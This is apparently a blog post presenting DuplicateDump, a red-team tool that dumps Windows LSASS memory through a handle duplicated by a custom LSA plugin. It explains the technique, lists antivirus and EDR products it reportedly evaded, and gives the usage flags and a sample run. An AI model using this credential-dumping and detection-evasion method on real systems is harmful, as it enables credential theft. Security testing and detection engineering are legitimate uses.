Kali Linux

DuplicateDump : Dumping LSASS With A Duplicated Handle From Custom LSA Plugin

DuplicateDump is a fork of MirrorDump with following modifications:

  • DInovke implementation
  • LSA plugin DLL written in C++ which could be clean up after dumping LSASS. MirrorDump compile LSA plugin as .NET assembly which would not be unloaded by LSASS process. That’s why MirrorDump failed to delete the plugin.
  • PID of dump process (i.e., DuplicateDump) is shared to LSA plugin through named pipe
  • Passing value “0” instead of LSASS PID to MiniDumpWriteDump. This prevent MiniDumpWriteDump from opening its own handle to LSASS

DuplicateDump add custom LSA plugin that duplicate LSASS process handle from the LSASS process to DuplicateDump. So DuplicateDump has a ready to use process handle to LSASS without invoking OpenProcess.

Testing

By loading DuplicateDump in memory, it was able to dump LSASS memory without detection on

  • Symantec 14.3
  • Kaspersky Enterprise
  • Windows Defender

Detected by Cortex XDR, Crowdstrike. Failed to dump lsass without detection on SentinalOne.

Usage

Compile LSA plugin (export either SpLsaModeInitialize or dllMain function) and provide the full path of DLL to DuplicateDump

.\DuplicateDump.exe –help
-f, –filename=VALUE The path to write the dump file to
-p, –plugin=VALUE Full file path to LSA plugin
-c, –compress GZip and delete the dump file on disk
-d, –DebugPriv Obtain SeDebugPrivilege
-h, –help Display this help

Example

.\DuplicateDump.exe -f test -c -p C:\LSAPlugin.dll
[+] Loading LSA security package
[+] Named pipe connected and replying with current PID 6492
[+] Found duplicated LSASS process handle 0x3d0
[+] Compressed dump file saved to test.gz

R K

Recent Posts

LitterBox : The Ultimate Sandbox Environment For Malware Testing And Red Team Operations

Your malware's favorite sandbox - where red teamers come to bury their payloads. A sandbox…

2 days ago

RWX_MEMORY_HUNT_AND_INJECTION_DV : Exploiting OneDrive.exe To Inject Shellcode Without New RWX Allocations

Abusing Windows fork API and OneDrive.exe process to inject the malicious shellcode without allocating new…

2 days ago

Heap Exploitation Training : A Comprehensive Guide From Basics To Advanced Techniques

This article delves into our comprehensive training program designed to teach you the intricacies of…

2 days ago

BloodHound.py : Installation, Usage, And Features

BloodHound.py is a Python based ingestor for BloodHound, based on Impacket. The code in this…

2 days ago

100 Days Of Rust 2025 : From Incident Response To Linux System Programming

In 2025 I wanted to try something new. In addition to a traditional 100 days…

5 days ago

Presenterm : Revolutionizing Terminal-Based Presentations With Markdown

presenterm lets you create presentations in markdown format and run them from your terminal, with…

5 days ago